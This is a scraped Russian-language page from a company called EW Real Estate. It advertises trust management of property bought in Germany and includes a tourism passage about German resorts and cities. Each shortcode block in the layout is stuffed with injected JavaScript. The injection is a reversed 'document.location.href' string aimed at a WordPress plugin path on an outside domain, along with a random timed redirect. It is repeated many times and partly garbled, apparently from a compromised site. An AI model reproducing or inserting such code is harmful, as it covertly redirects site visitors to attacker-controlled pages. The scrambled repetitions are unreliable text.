[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»25″]

Поделиться с друзьями

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»-35″]

Услуги по доверительному управлению приобретенной недвижимостью в Германии

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»30″]

Приобретение недвижимости в Германии само по себе не означает, что отныне вы станете получать постоянный доход. Если вы не намерены перебраться туда для работы или учебы, необходимо позаботиться о том, чтобы кто-то рачительный и знающий особенности местного законодательства, занимался управлением вашей недвижимостью. Для этих целей компания EW Real Estate предлагает заключить договор доверительного управления приобретенным объектом.

Что такое доверительное управление?

Понятие доверительного управления недвижимым имуществом существует в законодательстве всех развитых стран и, по сути, означает передачу части прав собственника на определенные действия другому лицу (в большинстве случаев всех, кроме отчуждения). Посудите сами. Находясь за тысячи километров (скажем в Рязани) как можно регулярно самому отслеживать своевременное внесение платы за арендуемое у вас жилье или следить за тем, вежливо ли себя ведет ваш жилец с консьержем? Именно все эти проблемы возьмет на себя управляющий, с которым будет заключен договор, отвечающий требованиям законам, как Германии, так и России.

Выбор подходящего арендатора

При заключении договора доверительного управления работники EW Real Estate, руководствуясь вашими пожеланиями и конкретной сложившейся обстановкой на рынке арендного жилья в населенном пункте в Германии, где вы приобрели жилую недвижимость, подберут надежных и порядочных арендаторов. Помимо формального соблюдения условий заключенного договора, вы можете выразить желание о составе проживающих в вашей квартире или доме, оговорить наличие детей и домашних животных. Также вами определяется, на какой срок должен быть заключен договор.

Заключение договора аренды

Компанией EW Real Estate за основу для заключения договоров аренды вашей недвижимости в Германии берутся типовые договоры, которые полностью соответствуют местному законодательству, проверены в действии с не одним объектом недвижимости. При этом наши сотрудники всегда готовы внести в него особые условия, которые устроят вас, как владельца жилого помещения. При этом стоит только принимать во внимание, что в Германии некоторые требования к условиям проживания и соблюдения элементарных правил общежития, не нуждаются во внесении в договор. Исполнение таких условий считается нормой для всех немцев.

Ежемесячное получение арендной платы

В соответствии с условиями заключенного договора сотрудники компании EW Real Estate будут скрупулезно следить за своевременностью внесения арендной платы. Это может происходить ежемесячно, либо единовременно за какой-то период. В соответствие с договором о доверительном управлении недвижимостью в Германии полученные денежные средства будут либо накапливаться на вашем банковском счете, либо своевременно перечисляться вам в Россию.

Контроль за своевременностью оплаты коммунальных услуг

Важной составной частью доверительного управления является тщательное отслеживание своевременности внесения арендатором платы за потребленные им коммунальные услуги (горячее и холодное водоснабжение, центральное отопление, электричество, обслуживание жилья). Внимательно относясь к этому вопросу, компания EW Real Estate заботится о вашей репутации как владельца недвижимого имущества в Германии и стремится к тому, чтобы у вас не возникало никаких проблем с местным самоуправлением.

Обеспечение сохранности имущества

Во избежание воздействия непредвиденных обстоятельств, компания EW Real Estate в обязательном порядке страхует вашу недвижимость в Германии от всех возможных рисков. По договоренности расходы по страхованию производятся или из полученной арендной платы или заранее включаются в размер ежемесячных платежей за пользование имуществом. В той или иной форме избежать этих расходов не удаётся, так как в Германии все собственники страхуют свое движимое и недвижимое имущество.

Тот факт, что EW Real Estate стремится к долгосрочному сотрудничеству со своими клиентами , а не ограничивается совершением сделки купли-продажи, подтверждает её надежность и порядочность, без которых в Германии невозможно себе представить деловое сотрудничество.

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»25″]

Поделиться с друзьями

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»-35″]

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»30″]

Большинство людей знает о Германии лишь общеизвестные моменты. Во-первых, там делают превосходное немецкое традиционное пиво. Во-вторых, современные немцы – это народ веселый, любящий всевозможные развлечения. В-третьих, местные жители к пиву предпочитают добавлять свои любимые немецкие колбаски. На самом деле эта страна гораздо многообразнее и богаче, чем покажется на первый взгляд. Приехав сюда, можно будет найти именно то, что интересно лично вам. Тем, кто любит спокойный отдых, понравятся курортные места на баварских озерах или на берегах Балтики.

Тех, кто хочет отдыхать активно, ждут экскурсии по германским городам, храмам и монастырям, замкам и дворцам. Тем, кто трепетно относится к искусству, открывают свои двери музеи и театры Германии. Для туристов имеются такие хорошие условия, что в Германии им не придется долго решать проблемы своего проживания, проезда и питания. Еще во времена существования в мире различных монархий Германию облюбовали для отдыха королевские особы и члены их семейств. Да и сейчас местные курорты востребованы и посещаемы. На них есть природные источники с целебной водой. Как старые, так и новые курорты имеют своих постоянных посетителей. Лечение здесь проводят с помощью лечебных грязей, минеральной воды, горного воздуха, и оно дает отличные результаты. Число курортов — более трехсот, все они объединены в ассоциацию курортов Германии.

Места, посещаемые когда-то королевскими семьями, – это Бад Киссенген, Бад Эльстер и Бад Эмс, а есть еще и другие. Кроме королей, на них побывали известные научные деятели, представители культуры и искусства. Местности, где расположены известные курорты, – это долина Рейна, Балтийское побережье, Бавария и Шварцвальд. Сервисное обслуживание здесь высокое, медперсонал квалифицированный, для досуга есть большие возможности. Любителей естественной красоты природы привлечет возможность принять участие в экскурсии по таким местам, как Черный лес, именно так переводится Шварцвальд с немецкого языка.Туристам будет интересно побывать на юге Германии, в крае живописных озер и горных массивов. На склонах альпийских гор найдут себе занятие любители лыжного спорта. Винодельческие центры тоже находятся на юге, в них можно будет побывать и даже отведать вина. Центром германского туризма вполне закономерно считают Берлин. Одно из любимых туристами мест – это Бранденбургские ворота, созданные в 18-м веке.

Туристов также привлекают Рейхстаг, музеи Египетский и Исторический. Ценители искусства захотят посетить Национальную картинную галерею и Немецкую государственную оперу. Дворец Шарлоттенбург – запоминающееся и красивейшее место Берлина. Своей древней готической архитектурой удивит берлинских гостей собор святого Николая постройки 14-го века. Туристы с детьми непременно захотят увидеть питомцев Берлинского зоопарка, самого большого зоопарка мира. Животные, птицы и рептилии содержатся в этом зоопарке в условиях, приближенных к природе. К тому же уход за ними очень хороший. Есть в Берлине и свой Ботанический сад, где будет что посмотреть любителям растений. В этом удивительном городе людям удается найти то, что их интересует. Дрездену по праву принадлежит второе место как туристическому центру.

Многим он знаком по фактам американской бомбардировки в годы Второй мировой войны. Дрезденская картинная галерея, находящаяся в архитектурном комплексе Цвингер, имеет всемирную известность. Кто может, посетив галерею, пройти мимо такого шедевра Рафаэля, как Сикстинская мадонна? Поклонники живописи способны приехать в Дрезден только ради того, чтобы посмотреть на эту великую картину. В галерее есть картины Рембрандта, голландских живописцев и творения импрессионистов. Архитектурные сооружения Дрездена тоже стоит увидеть. Среди них выделяются величественная Земперская опера, церкви Хофкирхе и Крейцкирхе.

Если путешествовать по реке Эльба, то можно увидеть замки Альбертсберг, Экберг и Лингер-Шлосс. Разные стили архитектуры можно найти в Дрездене. Здесь запросто уживаются здания готики и неоготики, барокко, неоклассицизма. А если побродить по окрестностям Дрездена, их первозданная природа никого не оставит равнодушным. Город Кельн также достоин упоминания о себе. В нем расположился известный всему миру Кельнский собор, его шпили уходят в высоту на 157 метров. В этом соборе хранится святыня христианского мира – три гробницы волхвов, тех самых, принесших младенцу Иисусу дары. Еще в Кельне много храмов и музеев. Любители пива получат много удовольствия от посещения кельнских пивных заведений. Карнавал, который проводят в Кельне, — это веселый настоящий праздник с масками, танцами, с буйством красок и звуков.

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»25″]

Поделиться с друзьями

[separatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_margin=»-35″]